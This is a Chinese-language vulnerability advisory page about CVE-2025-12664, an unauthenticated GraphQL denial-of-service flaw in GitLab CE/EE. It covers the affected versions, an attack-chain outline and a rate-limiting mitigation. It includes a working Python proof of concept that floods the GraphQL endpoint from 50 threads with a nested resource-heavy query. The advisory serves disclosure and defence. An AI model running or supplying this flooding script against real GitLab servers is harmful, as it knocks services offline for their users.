IPBUF安全漏洞报告
English
CVE-2025-12664 CVSS 7.5 高危

CVE-2025-12664 GitLab 拒绝服务漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2025-12664
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

CVE-2025-12664GitLab拒绝服务DoSGraphQL

漏洞概述

CVE-2025-12664是GitLab社区版(CE)和企业版(EE)中发现的一个高危安全漏洞。该漏洞影响了从13.0开始直至特定修补版本之前的多个发行版本。其核心问题在于系统未对GraphQL查询接口实施有效的资源限制。未经身份验证的攻击者可利用此缺陷,通过发送大量重复或复杂的GraphQL查询请求,迅速耗尽服务器CPU和内存资源,从而导致服务拒绝响应,严重威胁系统的可用性。

技术细节

该漏洞属于资源耗尽型拒绝服务漏洞。GitLab的GraphQL端点在处理查询时,由于缺乏足够的速率限制和查询复杂度分析机制,允许未经身份验证的用户发起请求。攻击者可以通过脚本并发发送大量高开销的GraphQL查询(例如深度嵌套查询或大量数据查询)。由于每个查询都需要后端进行解析、验证和数据库查询操作,当请求量超过服务器负载阈值时,会导致Web服务进程阻塞或崩溃。CVSS 3.1评分为7.5,主要影响可用性(A:H),无需用户交互即可通过网络发起攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描并确定目标GitLab实例的版本信息及GraphQL端点地址。
STEP 2
2. 构造Payload
编写能够消耗服务器资源的GraphQL查询语句。
STEP 3
3. 发起攻击
攻击者利用脚本,无需认证,向目标GraphQL接口发送大量并发请求。
STEP 4
4. 资源耗尽
服务器CPU和内存资源被大量占用,无法处理正常用户的请求。
STEP 5
5. 拒绝服务
GitLab服务响应缓慢或完全崩溃,导致业务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # Target GitLab URL target_url = "https://<gitlab-instance>/api/graphql" # Malicious GraphQL query designed to consume resources graphql_payload = { "query": """ { projects { nodes { id name repository { blobs { nodes { id } } } } } } """ } def send_attack(): try: while True: response = requests.post(target_url, json=graphql_payload, timeout=5) print(f"Sent request, status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Launch multiple threads to simulate attack for i in range(50): t = threading.Thread(target=send_attack) t.start()

影响范围

GitLab CE/EE >= 13.0, < 18.8.9
GitLab CE/EE >= 18.9, < 18.9.5
GitLab CE/EE >= 18.10, < 18.10.3

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界设备(如Nginx或WAF)上配置规则,限制单个IP地址对/api/graphql路径的请求频率,以缓解攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表